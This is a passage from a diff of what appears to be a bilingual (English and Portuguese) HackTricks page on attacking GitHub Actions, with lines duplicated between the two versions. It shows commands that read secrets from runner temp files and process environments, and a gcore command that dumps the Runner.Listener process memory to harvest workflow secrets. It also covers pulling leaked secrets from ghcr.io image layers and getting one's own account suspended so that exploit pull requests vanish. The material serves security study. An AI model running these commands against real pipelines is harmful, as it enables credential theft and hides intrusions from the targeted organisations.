- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
- Se o segredo for usado **diretamente em uma expressão**, o script shell gerado é armazenado **em disco** e é acessível.
- ```bash
cat /home/runner/work/_temp/*
```
- Para ações JavaScript, os segredos são enviados através de variáveis de ambiente.
- ```bash
ps axe | grep node
```
- Para uma **ação personalizada**, o risco pode variar dependendo de como um programa está usando o segredo que obteve do **argumento**:
```yaml
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
```
```yaml
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
```
### Abusing Self-hosted runners
### Abusando de runners auto-hospedados
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
A maneira de descobrir quais **Github Actions estão sendo executadas em infraestrutura não-Github** é procurar por **`runs-on: self-hosted`** na configuração yaml da Github Action.
**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
Runners **auto-hospedados** podem ter acesso a **informações extra sensíveis**, a outros **sistemas de rede** (pontos finais vulneráveis na rede? serviço de metadados?) ou, mesmo que esteja isolado e destruído, **mais de uma ação pode ser executada ao mesmo tempo** e a maliciosa poderia **roubar os segredos** da outra.
Em runners auto-hospedados, também é possível obter os **segredos do processo \_Runner.Listener**\_\*\* que conterá todos os segredos dos fluxos de trabalho em qualquer etapa, despejando sua memória:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
Verifique [**este post para mais informações**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
### Registro de Imagens Docker do Github
### Github Docker Images Registry
It's possible to make Github actions that will **build and store a Docker image inside Github**.\
An example can be find in the following expandable:
É possível criar ações do Github que **construirão e armazenarão uma imagem Docker dentro do Github**.\
Um exemplo pode ser encontrado no seguinte expansível:
<details>
<summary>Github Action Build &#x26; Push Docker Image</summary>
```yaml
[...]
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1
uses: docker/setup-buildx-action@v1
- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}
- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
[...]
```
</details>
As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**.
A user with read permissions over the repo will then be able to download the Docker Image using a personal access token:
Como você pode ver no código anterior, o registro do Github está hospedado em **`ghcr.io`**.
Um usuário com permissões de leitura sobre o repositório poderá então baixar a Imagem Docker usando um token de acesso pessoal:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
```
Then, the user could search for **leaked secrets in the Docker image layers:**
Então, o usuário poderia procurar por **segredos vazados nas camadas da imagem Docker:**
{{#ref}}
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
{{#endref}}
### Sensitive info in Github Actions logs
### Informações sensíveis nos logs do Github Actions
Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
Mesmo que o **Github** tente **detectar valores secretos** nos logs das ações e **evitar mostrar** eles, **outros dados sensíveis** que poderiam ter sido gerados na execução da ação não serão ocultados. Por exemplo, um JWT assinado com um valor secreto não será ocultado a menos que seja [especificamente configurado](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
## Covering your Tracks
## Cobrir suas Trilhas
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **cant delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR)
(Técnica de [**aqui**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Primeiro de tudo, qualquer PR levantada é claramente visível ao público no Github e à conta alvo do GitHub. No GitHub, por padrão, **não podemos deletar um PR da internet**, mas há uma reviravolta. Para contas do Github que estão **suspensas** pelo Github, todos os seus **PRs são automaticamente deletados** e removidos da internet. Portanto, para esconder sua atividade, você precisa ou ter sua **conta do GitHub suspensa ou ter sua conta sinalizada**. Isso **esconderia todas as suas atividades** no GitHub da internet (basicamente remover todos os seus PRs de exploração)
An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is sharesome stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
Uma organização no GitHub é muito proativa em relatar contas ao GitHub. Tudo que você precisa fazer é compartilhar “algumas coisas” em uma Issue e eles garantirão que sua conta seja suspensa em 12 horas :p e aí está, fez sua exploração invisível no github.
> [!WARNING]
> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.
> A única maneira de uma organização descobrir que foi alvo é verificar os logs do GitHub a partir do SIEM, pois na interface do GitHub o PR seria removido.
## Tools
## Ferramentas
The following tools are useful to find Github Action workflows and even find vulnerable ones:
As seguintes ferramentas são úteis para encontrar fluxos de trabalho do Github Action e até mesmo encontrar vulneráveis:
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
@@ -579,7 +551,3 @@ The following tools are useful to find Github Action workflows and even find vul
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,6 +1 @@
# Gh Actions - Artifact Poisoning
# Gh Actions - Poisonamento de Artefatos

View File

@@ -1,6 +1 @@
# GH Actions - Cache Poisoning

View File

@@ -1,6 +1 @@
# Gh Actions - Context Script Injections
# Gh Actions - Injeções de Script de Contexto